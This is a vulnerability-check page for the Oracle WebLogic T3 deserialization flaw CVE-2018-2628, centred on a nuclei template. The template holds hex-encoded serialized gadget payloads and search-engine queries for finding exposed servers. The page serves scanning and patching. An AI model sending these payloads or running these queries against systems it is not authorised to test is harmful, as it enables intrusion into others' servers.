Oracle WebLogic Server Deserialization - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-09-08; known to be used by ransomware.

criticalseverity

9.8CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contains an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.

Impact

Successful exploitation of this vulnerability can lead to arbitrary code execution with the privileges of the WebLogic server, potentially compromising the entire system.

Fix

Install the suitable patch as per the Oracle Critical Patch Update advisory

How to confirm it

Send: tcp probe to {{Hostname}}
Positive when: matches /\$Proxy[0-9]+/

Run it with nuclei: nuclei -id CVE-2018-2628 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-2628

info:
  name: Oracle WebLogic Server Deserialization - Remote Code Execution
  author: milo2012
  severity: critical
  description: |
    The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contains an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.
  impact: |
    Successful exploitation of this vulnerability can lead to arbitrary code execution with the privileges of the WebLogic server, potentially compromising the entire system.
  remediation: Install the suitable patch as per the Oracle Critical Patch Update advisory
  reference:
    - https://www.nc-lp.com/blog/weaponize-oracle-weblogic-server-poc-cve-2018-2628
    - https://nvd.nist.gov/vuln/detail/CVE-2018-2628
    - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
    - http://web.archive.org/web/20211207132829/https://securitytracker.com/id/1040696
    - http://www.securitytracker.com/id/1040696
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-2628
    cwe-id: CWE-502
    epss-score: 0.99959
    epss-percentile: 0.99975
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - product:"oracle weblogic"
      - http.title:"oracle peoplesoft sign-in"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: network,cve2018,cve,oracle,weblogic,deserialization,kev,tcp,vkev,vuln
tcp:
  - host:
      - "{{Hostname}}"
    inputs:
      - data: "{{hex_decode('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')}}"
        read: 1024

      - data: "{{hex_decode('000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3234322e3231342e312e32353461863d1d0000000078')}}"
        read: 1024

      - data: "{{hex_decode('000003ad056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff')}}"
        read: 1024
    read-size: 1024
    matchers:
      - type: regex
        regex:
          - "\\$Proxy[0-9]+"

References

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